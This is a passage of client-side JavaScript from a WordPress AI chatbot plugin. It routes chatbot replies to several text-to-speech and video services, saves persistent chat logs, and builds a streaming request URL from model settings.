aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); const blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } var error_generated = ''; aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html(' '); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } }); } else { var i = 0; var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); function typeWriterBotWrapper(x_input_text) { return new Promise((resolve, reject) => { typeWriterBot(x_input_text, resolve); }); } function typeWriterBot(x_input_text, resolve) { if (i < hardresponse.length) { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + hardresponse.substring(0, i + 1) + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; // Append the response to the input field jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); i++; setTimeout(function() { typeWriterBot(x_input_text, resolve); }, 50); } else { x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); var has_speech = false; var response_data = hardresponse; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(!jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); const blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); i = 0; resolve(); } } xdelay(1000).then(async () => { var error_generated = ''; var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); await typeWriterBotWrapper(x_input_text); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } }); } return; } } } } if(instant_response == 'stream') { if(aiomatic_generator_working === true) { console.log('AI Chatbot already working!'); aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">There was an issue with processing, please try again!</div>'); return; } if(ai_assistant_id != '' && ai_thread_id == '') { await jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_create_thread', nonce: aiomatic_chat_ajax_object.nonce, assistantid: ai_assistant_id, file_data: file_data }, success: function(result) { if(result.status == 'success' && result.data != undefined) { jQuery('#aiomatic_thread_id' + instance).val(result.data); ai_thread_id = result.data; } else { console.log('Thread creation failed: ' + JSON.stringify(result)); } }, error: function(error) { console.log('Failed to create thread: ' + error.responseText); }, }); } if(enable_god_mode == '') { enable_god_mode = 'off'; } aiomatic_generator_working = true; var count_line = 0; var response_data = ''; var internet_permission = aiomatic_chat_ajax_object.internet_access; if(jQuery('#aiomatic-globe-overlay' + instance).hasClass('aiomatic-globe-bar')) { internet_permission = 'disabled'; } var eventURL = aiomatic_chat_ajax_object.stream_url; eventURL += '&input_text=' + encodeURIComponent(input_text); if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(ai_assistant_id != '') { eventURL += '&assistant_id=' + encodeURIComponent(ai_assistant_id); } if(ai_thread_id != '') { eventURL += '&thread_id=' + encodeURIComponent(ai_thread_id); } if(remember_string != '') { eventURL += '&remember_string=' + encodeURIComponent(remember_string); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(user_question != '') { eventURL += '&user_question=' + encodeURIComponent(user_question); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } if(eventURL.length > 2080) { console.log('URL too long, using alternative event method'); var unid = "id" + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);; aiChatUploadDataomatic(aiomatic_chat_ajax_object, unid, input_text, remember_string, user_question, null); eventURL = aiomatic_chat_ajax_object.stream_url + '&input_text=0&remember_string=0&user_question=0'; if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(ai_assistant_id != '') { eventURL += '&assistant_id=' + encodeURIComponent(ai_assistant_id); } if(ai_thread_id != '') { eventURL += '&thread_id=' + encodeURIComponent(ai_thread_id); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } eventURL += '&bufferid=' + encodeURIComponent(unid); if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } } try { eventGenerator = new EventSource(eventURL); } catch(e) { console.log('Error in Event creation: ' + e); } eventGenerator.onopen = function() { jQuery('#aistopbut' + instance).show(); }; var initialContent = jQuery('#aiomatic_chat_history' + instance).html(); var error_generated = ''; var func_call = { init_data: { pdf_data: pdf_data, file_data: file_data, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day, user_id: aiomatic_chat_ajax_object.user_id, frequency: aiomatic_chat_ajax_object.frequency, presence: aiomatic_chat_ajax_object.presence, top_p: aiomatic_chat_ajax_object.top_p, temp: aiomatic_chat_ajax_object.temp, model: aiomatic_chat_ajax_object.model, input_text: input_text, remember_string: remember_string, is_modern_gpt: is_modern_gpt, user_question: user_question }, }; function handleContentBlockDelta(e) { if(aiomatic_chat_ajax_object.model_type == 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var currentContent = jQuery('#aiomatic_chat_history' + instance).html(); var resultData = null; if(e.data == '[DONE]') { var hasFinishReason = true; } else { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } var hasFinishReason = resultData && (resultData.finish_reason === "stop" || resultData.finish_reason === "length"); if(resultData.stop_reason == 'stop_sequence' || resultData.stop_reason == 'max_tokens') { hasFinishReason = true; } } var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { if(resultData !== null) { var result = resultData; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; jQuery('#aistopbut' + instance).hide(); eventGenerator.close(); return; }; } if(result.error !== undefined){ if(result.error !== undefined){ error_generated 